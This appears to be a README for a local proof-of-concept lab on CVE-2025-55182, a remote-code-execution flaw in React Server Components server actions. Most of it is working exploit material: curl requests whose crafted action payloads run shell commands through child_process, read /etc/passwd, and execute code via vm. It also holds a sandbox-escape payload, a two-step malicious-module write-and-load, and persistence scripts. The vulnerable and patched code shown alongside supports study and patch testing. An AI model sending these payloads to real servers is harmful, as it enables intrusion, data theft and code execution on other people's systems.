# Install dependencies
npm install

# Start vulnerable server (port 3002)
npm start

# Run RCE exploit
npm run exploit

=== CVE-2025-55182 - RCE via vm.runInThisContext ===

Test 1: Direct call to vm#runInThisContext with code
1+1 = {"success":true,"result":"2"}

Test 2: vm.runInThisContext with require
RCE attempt: {"success":true,"result":"uid=501(nick) gid=20(staff)..."}

# Servers
npm start              # Start main server (server-realistic.js, port 3002)
npm run start:legacy   # Start legacy server (server.js, port 3002)
npm run start:module   # Start module server (port 3003) - hypothetical, see note below

# Exploits (use with npm start)
npm run exploit            # RCE demo (uses vm, works with any: vm, child_process, fs)
npm run exploit:all        # Test all gadgets
npm run exploit:persistence # Persistence attacks (fs-only)
npm run exploit:research   # Prototype chain research

# Hypothetical exploits (use with start:module)
npm run exploit:module     # Two-step RCE via module#_load
npm run exploit:indirect   # Two-step RCE with proof file

# Start server first
npm start

# Test fs read
curl -X POST http://localhost:3002/formaction \
  -F '$ACTION_REF_0=' \
  -F '$ACTION_0:0={"id":"fs#readFileSync","bound":["/etc/passwd","utf8"]}'

# Test command execution
curl -X POST http://localhost:3002/formaction \
  -F '$ACTION_REF_0=' \
  -F '$ACTION_0:0={"id":"child_process#execSync","bound":["whoami"]}'

# Test vm code execution
curl -X POST http://localhost:3002/formaction \
  -F '$ACTION_REF_0=' \
  -F '$ACTION_0:0={"id":"vm#runInThisContext","bound":["1+1"]}'

# Test prototype chain access
curl -X POST http://localhost:3002/formaction \
  -F '$ACTION_ID_abc123def456#constructor='

// Bundled modules (what gets included when using common packages)
const BUNDLED_MODULES = {
  'actions-chunk-123': { /* user's server actions */ },
  'fs': require('fs'),           // via fs-extra, gray-matter, multer
  'child_process': require('child_process'), // via execa, shelljs, puppeteer
  'vm': require('vm'),           // via ejs, pug, handlebars
  'util': require('util'),
};

// VULNERABLE (React 19.0.0)
return moduleExports[metadata[2]];  // Accesses prototype chain!

// PATCHED (React 19.2.1)
if (hasOwnProperty.call(moduleExports, metadata[2]))
  return moduleExports[metadata[2]];

{ id: 'child_process#execSync', bound: ['whoami'] }

{ id: 'fs#readFileSync', bound: ['/etc/passwd'] }

{ id: 'fs#writeFileSync', bound: ['/tmp/pwned.txt', 'CVE-2025-55182'] }

{
  id: 'vm#runInThisContext',
  bound: ['process.mainModule.require("child_process").execSync("id").toString()']
}

{
  id: 'vm#runInNewContext',
  bound: ['this.constructor.constructor("return process")().mainModule.require("child_process").execSync("whoami").toString()']
}

// Step 1: Write malicious module
{ id: 'fs#writeFileSync', bound: ['/tmp/evil.js', 'module.exports = require("child_process").execSync("id")'] }

// Step 2: Load it
{ id: 'module#_load', bound: ['/tmp/evil.js'] }
// Result: RCE!

cd /tmp/react-rsc-patched
npm install [email protected]
npm start
# Attacks will fail